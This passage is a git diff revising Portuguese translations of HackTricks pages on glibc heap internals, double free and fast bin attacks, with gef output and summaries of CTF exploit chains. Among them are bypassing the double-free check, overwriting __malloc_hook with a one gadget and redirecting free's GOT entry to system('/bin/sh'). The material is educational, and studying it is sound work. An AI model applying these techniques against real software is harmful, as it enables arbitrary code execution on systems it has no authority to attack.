#include <stdio.h>
|
||||||
|
@ -479,9 +483,9 @@ chunks[0] = malloc(0x2000);
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
Duas grandes alocações são realizadas, em seguida uma é liberada (colocando-a no bin não ordenado) e uma alocação maior é feita (movendo a liberada do bin não ordenado para o bin grande).
|
2 grandes alocações são realizadas, então uma é liberada (colocando-a no bin não ordenado) e uma alocação maior é feita (movendo a liberada do bin não ordenado para o bin grande).
|
||||||
|
|
||||||
Compile e depure com um breakpoint no opcode `ret` da função `main`. Então com `gef` você pode ver que o bin tcache está cheio e um chunk está no bin grande:
|
Compile e depure com um breakpoint no opcode `ret` da função `main`. Então, com `gef`, você pode ver que o bin tcache está cheio e um chunk está no bin grande:
|
||||||
```bash
|
```bash
|
||||||
gef➤ heap bin
|
gef➤ heap bin
|
||||||
──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ────────────────────────────────────────────────────────────────────────────────
|
──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ────────────────────────────────────────────────────────────────────────────────
|
||||||
|
@ -505,7 +509,7 @@ Fastbins[idx=6, size=0x80] 0x00
|
||||||
```
|
```
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
### Maior Fragmento
|
### Top Chunk
|
||||||
```c
|
```c
|
||||||
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1711
|
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1711
|
||||||
|
|
||||||
|
@ -530,9 +534,10 @@ the 2 preceding words to be zero during this interval as well.)
|
||||||
/* Conveniently, the unsorted bin can be used as dummy top on first call */
|
/* Conveniently, the unsorted bin can be used as dummy top on first call */
|
||||||
#define initial_top(M) (unsorted_chunks (M))
|
#define initial_top(M) (unsorted_chunks (M))
|
||||||
```
|
```
|
||||||
Basicamente, este é um pedaço contendo toda a heap atualmente disponível. Quando um malloc é executado, se não houver nenhum pedaço livre disponível para usar, este pedaço superior reduzirá seu tamanho fornecendo o espaço necessário. O ponteiro para o Top Chunk é armazenado na estrutura `malloc_state`.
|
Basicamente, este é um chunk que contém toda a heap atualmente disponível. Quando um malloc é realizado, se não houver nenhum chunk livre disponível para usar, este top chunk reduzirá seu tamanho, dando o espaço necessário.\
|
||||||
|
O ponteiro para o Top Chunk é armazenado na struct `malloc_state`.
|
||||||
|
|
||||||
Além disso, no início, é possível usar o pedaço não ordenado como o pedaço superior.
|
Além disso, no início, é possível usar o chunk não ordenado como o top chunk.
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -550,7 +555,7 @@ gets(chunk);
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
Depois de compilar e depurar com um ponto de interrupção no opcode `ret` de `main`, vi que o malloc retornou o endereço `0xaaaaaaac12a0` e estes são os chunks:
|
Após compilar e depurar com um ponto de interrupção no opcode `ret` de `main`, vi que o malloc retornou o endereço `0xaaaaaaac12a0` e estes são os chunks:
|
||||||
```bash
|
```bash
|
||||||
gef➤ heap chunks
|
gef➤ heap chunks
|
||||||
Chunk(addr=0xaaaaaaac1010, size=0x290, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
|
Chunk(addr=0xaaaaaaac1010, size=0x290, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
|
||||||
|
@ -563,8 +568,8 @@ Chunk(addr=0xaaaaaaac16d0, size=0x410, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_
|
||||||
[0x0000aaaaaaac16d0 41 41 41 41 41 41 41 0a 00 00 00 00 00 00 00 00 AAAAAAA.........]
|
[0x0000aaaaaaac16d0 41 41 41 41 41 41 41 0a 00 00 00 00 00 00 00 00 AAAAAAA.........]
|
||||||
Chunk(addr=0xaaaaaaac1ae0, size=0x20530, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) ← top chunk
|
Chunk(addr=0xaaaaaaac1ae0, size=0x20530, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) ← top chunk
|
||||||
```
|
```
|
||||||
Onde pode ser visto que o chunk superior está no endereço `0xaaaaaaac1ae0`. Isso não é surpresa porque o último chunk alocado estava em `0xaaaaaaac12a0` com um tamanho de `0x410` e `0xaaaaaaac12a0 + 0x410 = 0xaaaaaaac1ae0`.\
|
Onde pode-se ver que o top chunk está no endereço `0xaaaaaaac1ae0`. Isso não é surpresa porque o último chunk alocado estava em `0xaaaaaaac12a0` com um tamanho de `0x410` e `0xaaaaaaac12a0 + 0x410 = 0xaaaaaaac1ae0`.\
|
||||||
Também é possível ver o tamanho do chunk superior no seu cabeçalho de chunk:
|
Também é possível ver o comprimento do Top chunk em seu cabeçalho de chunk:
|
||||||
```bash
|
```bash
|
||||||
gef➤ x/8wx 0xaaaaaaac1ae0 - 16
|
gef➤ x/8wx 0xaaaaaaac1ae0 - 16
|
||||||
0xaaaaaaac1ad0: 0x00000000 0x00000000 0x00020531 0x00000000
|
0xaaaaaaac1ad0: 0x00000000 0x00000000 0x00020531 0x00000000
|
||||||
|
@ -574,7 +579,7 @@ gef➤ x/8wx 0xaaaaaaac1ae0 - 16
|
||||||
|
|
||||||
### Último Resto
|
### Último Resto
|
||||||
|
|
||||||
Quando o malloc é usado e um chunk é dividido (do unsorted bin ou do top chunk, por exemplo), o chunk criado a partir do restante do chunk dividido é chamado de Último Resto e seu ponteiro é armazenado na estrutura `malloc_state`.
|
Quando malloc é usado e um chunk é dividido (do bin não ordenado ou do chunk superior, por exemplo), o chunk criado a partir do restante do chunk dividido é chamado de Último Resto e seu ponteiro é armazenado na struct `malloc_state`.
|
||||||
|
|
||||||
## Fluxo de Alocação
|
## Fluxo de Alocação
|
||||||
|
|
||||||
|
@ -594,7 +599,7 @@ Confira:
|
||||||
|
|
||||||
## Verificações de Segurança das Funções de Heap
|
## Verificações de Segurança das Funções de Heap
|
||||||
|
|
||||||
Verifique as verificações de segurança realizadas por funções amplamente utilizadas no heap em:
|
Verifique as verificações de segurança realizadas por funções amplamente utilizadas em heap em:
|
||||||
|
|
||||||
{% content-ref url="heap-memory-functions/heap-functions-security-checks.md" %}
|
{% content-ref url="heap-memory-functions/heap-functions-security-checks.md" %}
|
||||||
[heap-functions-security-checks.md](heap-memory-functions/heap-functions-security-checks.md)
|
[heap-functions-security-checks.md](heap-memory-functions/heap-functions-security-checks.md)
|
||||||
|
@ -613,11 +618,11 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Suporte ao HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -1,16 +1,16 @@
|
||||||
# Double Free
|
# Double Free
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Support HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
@ -19,9 +19,9 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
|
|
||||||
Se você liberar um bloco de memória mais de uma vez, isso pode bagunçar os dados do alocador e abrir a porta para ataques. Veja como isso acontece: quando você libera um bloco de memória, ele volta para uma lista de blocos livres (por exemplo, o "fast bin"). Se você liberar o mesmo bloco duas vezes seguidas, o alocador detecta isso e gera um erro. Mas se você **liberar outro bloco no meio, a verificação de double-free é contornada**, causando corrupção.
|
Se você liberar um bloco de memória mais de uma vez, isso pode bagunçar os dados do alocador e abrir a porta para ataques. Veja como isso acontece: quando você libera um bloco de memória, ele volta para uma lista de blocos livres (por exemplo, o "fast bin"). Se você liberar o mesmo bloco duas vezes seguidas, o alocador detecta isso e gera um erro. Mas se você **liberar outro bloco no meio, a verificação de double-free é contornada**, causando corrupção.
|
||||||
|
|
||||||
Agora, quando você pede nova memória (usando `malloc`), o alocador pode lhe dar um **bloco que foi liberado duas vezes**. Isso pode levar a dois ponteiros diferentes apontando para o mesmo local de memória. Se um atacante controla um desses ponteiros, ele pode alterar o conteúdo dessa memória, o que pode causar problemas de segurança ou até mesmo permitir que ele execute código.
|
Agora, quando você pede nova memória (usando `malloc`), o alocador pode lhe dar um **bloco que foi liberado duas vezes**. Isso pode levar a dois ponteiros diferentes apontando para o mesmo local de memória. Se um atacante controla um desses ponteiros, ele pode alterar o conteúdo daquela memória, o que pode causar problemas de segurança ou até mesmo permitir que ele execute código.
|
||||||
|
|
||||||
Example:
|
Exemplo:
|
||||||
```c
|
```c
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
#include <stdlib.h>
|
#include <stdlib.h>
|
||||||
|
|
|
@ -1,31 +1,31 @@
|
||||||
# Ataque Fast Bin
|
# Fast Bin Attack
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Aprenda e pratique Hacking na AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Aprenda e pratique Hacking no GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Suporte ao HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
## Informações Básicas
|
## Basic Information
|
||||||
|
|
||||||
Para mais informações sobre o que é um fast bin, consulte esta página:
|
Para mais informações sobre o que é um fast bin, confira esta página:
|
||||||
|
|
||||||
{% content-ref url="bins-and-memory-allocations.md" %}
|
{% content-ref url="bins-and-memory-allocations.md" %}
|
||||||
[bins-and-memory-allocations.md](bins-and-memory-allocations.md)
|
[bins-and-memory-allocations.md](bins-and-memory-allocations.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
Como o fast bin é uma lista encadeada simples, há muito menos proteções do que em outros bins e apenas **modificar um endereço em um chunk fast bin liberado** é suficiente para poder **alocar posteriormente um chunk em qualquer endereço de memória**.
|
Como o fast bin é uma lista encadeada simples, há muito menos proteções do que em outros bins e apenas **modificar um endereço em um chunk de fast bin liberado** é suficiente para poder **alocar depois um chunk em qualquer endereço de memória**.
|
||||||
|
|
||||||
Em resumo:
|
Como resumo:
|
||||||
|
|
||||||
{% code overflow="wrap" %}
|
{% code overflow="wrap" %}
|
||||||
```c
|
```c
|
||||||
|
@ -135,30 +135,30 @@ printf("\n\nJust like that, we executed a fastbin attack to allocate an address
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
Se for possível sobrescrever o valor da variável global **`global_max_fast`** com um número grande, isso permite gerar pedaços de fast bin de tamanhos maiores, potencialmente permitindo realizar ataques de fast bin em cenários onde anteriormente não era possível. Essa situação é útil no contexto do [ataque large bin](large-bin-attack.md) e [ataque unsorted bin](unsorted-bin-attack.md).
|
Se for possível sobrescrever o valor da variável global **`global_max_fast`** com um número grande, isso permite gerar chunks de fast bin de tamanhos maiores, potencialmente permitindo realizar ataques de fast bin em cenários onde não era possível anteriormente. Essa situação é útil no contexto do [ataque de large bin](large-bin-attack.md) e [ataque de unsorted bin](unsorted-bin-attack.md)
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
## Exemplos
|
## Exemplos
|
||||||
|
|
||||||
* **CTF** [**https://guyinatuxedo.github.io/28-fastbin\_attack/0ctf\_babyheap/index.html**](https://guyinatuxedo.github.io/28-fastbin\_attack/0ctf\_babyheap/index.html)**:**
|
* **CTF** [**https://guyinatuxedo.github.io/28-fastbin\_attack/0ctf\_babyheap/index.html**](https://guyinatuxedo.github.io/28-fastbin\_attack/0ctf\_babyheap/index.html)**:**
|
||||||
* É possível alocar pedaços, liberá-los, ler seus conteúdos e preenchê-los (com uma vulnerabilidade de overflow).
|
* É possível alocar chunks, liberá-los, ler seu conteúdo e preenchê-los (com uma vulnerabilidade de overflow).
|
||||||
* **Consolidar pedaço para vazamento de informações**: A técnica consiste basicamente em abusar do overflow para criar um `prev_size` falso para que um pedaço anterior seja colocado dentro de um maior, de modo que ao alocar o maior contendo outro pedaço, seja possível imprimir seus dados e vazar um endereço para o libc (`main_arena+88`).
|
* **Consolidar chunk para infoleak**: A técnica é basicamente abusar do overflow para criar um `prev_size` falso, de modo que um chunk anterior seja colocado dentro de um maior, assim, ao alocar o maior contendo outro chunk, é possível imprimir seus dados e vazar um endereço para libc (`main_arena+88`).
|
||||||
* **Sobrescrever o hook do malloc**: Para isso, e abusando da situação de sobreposição anterior, foi possível ter 2 pedaços apontando para a mesma memória. Portanto, liberando ambos (liberando outro pedaço no meio para evitar proteções), foi possível ter o mesmo pedaço no fast bin 2 vezes. Em seguida, foi possível alocá-lo novamente, sobrescrever o endereço para o próximo pedaço para apontar um pouco antes de `__malloc_hook` (para que aponte para um inteiro que o malloc pensa ser um tamanho livre - outra forma de bypass), alocá-lo novamente e então alocar outro pedaço que receberá um endereço para os hooks do malloc.\
|
* **Sobrescrever malloc hook**: Para isso, e abusando da situação de sobreposição anterior, foi possível ter 2 chunks que apontavam para a mesma memória. Portanto, liberando ambos (liberando outro chunk no meio para evitar proteções) foi possível ter o mesmo chunk no fast bin 2 vezes. Então, foi possível alocá-lo novamente, sobrescrever o endereço do próximo chunk para apontar um pouco antes de `__malloc_hook` (para que aponte para um inteiro que malloc pensa ser um tamanho livre - outro bypass), alocá-lo novamente e então alocar outro chunk que receberá um endereço para malloc hooks.\
|
||||||
Finalmente, um **one gadget** foi escrito lá.
|
Finalmente, um **one gadget** foi escrito lá.
|
||||||
* **CTF** [**https://guyinatuxedo.github.io/28-fastbin\_attack/csaw17\_auir/index.html**](https://guyinatuxedo.github.io/28-fastbin\_attack/csaw17\_auir/index.html)**:**
|
* **CTF** [**https://guyinatuxedo.github.io/28-fastbin\_attack/csaw17\_auir/index.html**](https://guyinatuxedo.github.io/28-fastbin\_attack/csaw17\_auir/index.html)**:**
|
||||||
* Há um overflow de heap e uso após liberação e liberação dupla porque quando um pedaço é liberado é possível reutilizar e liberar novamente os ponteiros.
|
* Há um overflow de heap e uso após liberação e double free porque, quando um chunk é liberado, é possível reutilizar e re-liberar os ponteiros.
|
||||||
* **Vazamento de informações do libc**: Basta liberar alguns pedaços e eles receberão um ponteiro para uma parte da localização da main arena. Como é possível reutilizar ponteiros liberados, basta ler este endereço.
|
* **Libc info leak**: Basta liberar alguns chunks e eles obterão um ponteiro para uma parte da localização da main arena. Como você pode reutilizar ponteiros liberados, basta ler este endereço.
|
||||||
* **Ataque de fast bin**: Todos os ponteiros para as alocações são armazenados dentro de um array, então podemos liberar alguns pedaços de fast bin e no último sobrescrever o endereço para apontar um pouco antes deste array de ponteiros. Em seguida, alocar alguns pedaços com o mesmo tamanho e obteremos primeiro o legítimo e depois o falso contendo o array de ponteiros. Agora podemos sobrescrever esses ponteiros de alocação para fazer o endereço GOT de `free` apontar para `system` e então escrever `"/bin/sh"` no pedaço 1 para então chamar `free(chunk1)` que em vez disso executará `system("/bin/sh")`.
|
* **Ataque de fast bin**: Todos os ponteiros para as alocações são armazenados dentro de um array, então podemos liberar alguns chunks de fast bin e, no último, sobrescrever o endereço para apontar um pouco antes deste array de ponteiros. Então, alocamos alguns chunks com o mesmo tamanho e obteremos primeiro o legítimo e depois o falso contendo o array de ponteiros. Agora podemos sobrescrever esses ponteiros de alocação para fazer o endereço GOT de `free` apontar para `system` e então escrever `"/bin/sh"` no chunk 1 para então chamar `free(chunk1)`, que em vez disso executará `system("/bin/sh")`.
|
||||||
* **CTF** [**https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw19\_traveller/index.html**](https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw19\_traveller/index.html)
|
* **CTF** [**https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw19\_traveller/index.html**](https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw19\_traveller/index.html)
|
||||||
* Outro exemplo de abuso de um overflow de um byte para consolidar pedaços no unsorted bin e obter um vazamento de informações do libc e em seguida realizar um ataque de fast bin para sobrescrever o hook do malloc com um endereço de one gadget
|
* Outro exemplo de abusar de um overflow de um byte para consolidar chunks no unsorted bin e obter um infoleak de libc e então realizar um ataque de fast bin para sobrescrever malloc hook com um endereço de one gadget.
|
||||||
* **CTF** [**https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw18\_alienVSsamurai/index.html**](https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw18\_alienVSsamurai/index.html)
|
* **CTF** [**https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw18\_alienVSsamurai/index.html**](https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw18\_alienVSsamurai/index.html)
|
||||||
* Após um vazamento de informações abusando do unsorted bin com um UAF para vazar um endereço do libc e um endereço do PIE, o exploit deste CTF usou um ataque de fast bin para alocar um pedaço em um local onde os ponteiros para pedaços controlados estavam localizados, então foi possível sobrescrever certos ponteiros para escrever um one gadget no GOT
|
* Após um infoleak abusando do unsorted bin com um UAF para vazar um endereço de libc e um endereço de PIE, o exploit deste CTF usou um ataque de fast bin para alocar um chunk em um lugar onde os ponteiros para chunks controlados estavam localizados, então foi possível sobrescrever certos ponteiros para escrever um one gadget no GOT.
|
||||||
* Você pode encontrar um ataque de Fast Bin abusado através de um ataque unsorted bin:
|
* Você pode encontrar um ataque de Fast Bin abusado através de um ataque de unsorted bin:
|
||||||
* Note que é comum antes de realizar ataques de fast bin abusar das listas de liberação para vazar endereços do libc/heap (quando necessário).
|
* Note que é comum antes de realizar ataques de fast bin abusar das free-lists para vazar endereços de libc/heap (quando necessário).
|
||||||
* [**Robot Factory. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/)
|
* [**Robot Factory. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/)
|
||||||
* Só podemos alocar pedaços de tamanho maior que `0x100`.
|
* Podemos apenas alocar chunks de tamanho maior que `0x100`.
|
||||||
* Sobrescrever `global_max_fast` usando um ataque Unsorted Bin (funciona 1/16 vezes devido ao ASLR, porque precisamos modificar 12 bits, mas devemos modificar 16 bits).
|
* Sobrescrever `global_max_fast` usando um ataque de Unsorted Bin (funciona 1/16 vezes devido ao ASLR, porque precisamos modificar 12 bits, mas devemos modificar 16 bits).
|
||||||
* Ataque de Fast Bin para modificar um array global de pedaços. Isso fornece um primitivo de leitura/escrita arbitrária, o que permite modificar o GOT e fazer com que alguma função aponte para `system`.
|
* Ataque de Fast Bin para modificar um array global de chunks. Isso fornece uma primitiva de leitura/escrita arbitrária, que permite modificar o GOT e definir algumas funções para apontar para `system`.
|
||||||
|
|
||||||
{% content-ref url="unsorted-bin-attack.md" %}
|
{% content-ref url="unsorted-bin-attack.md" %}
|
||||||
[unsorted-bin-attack.md](unsorted-bin-attack.md)
|
[unsorted-bin-attack.md](unsorted-bin-attack.md)
|
||||||
|
@ -170,11 +170,11 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Apoie o HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -1,18 +1,33 @@
|
||||||
# Funções de Memória do Heap
|
# Funções de Memória Heap
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Aprenda e pratique Hacking AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line"> [**HackTricks Treinamento Especialista em Equipe Vermelha AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte) <img src="/.gitbook/assets/arte.png" alt="" data-size="line"> \
|
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line"> [**HackTricks Treinamento Especialista em Equipe Vermelha GCP (GRTE)** <img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Apoie o HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
##
|
##
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -6,38 +6,38 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
|
||||||
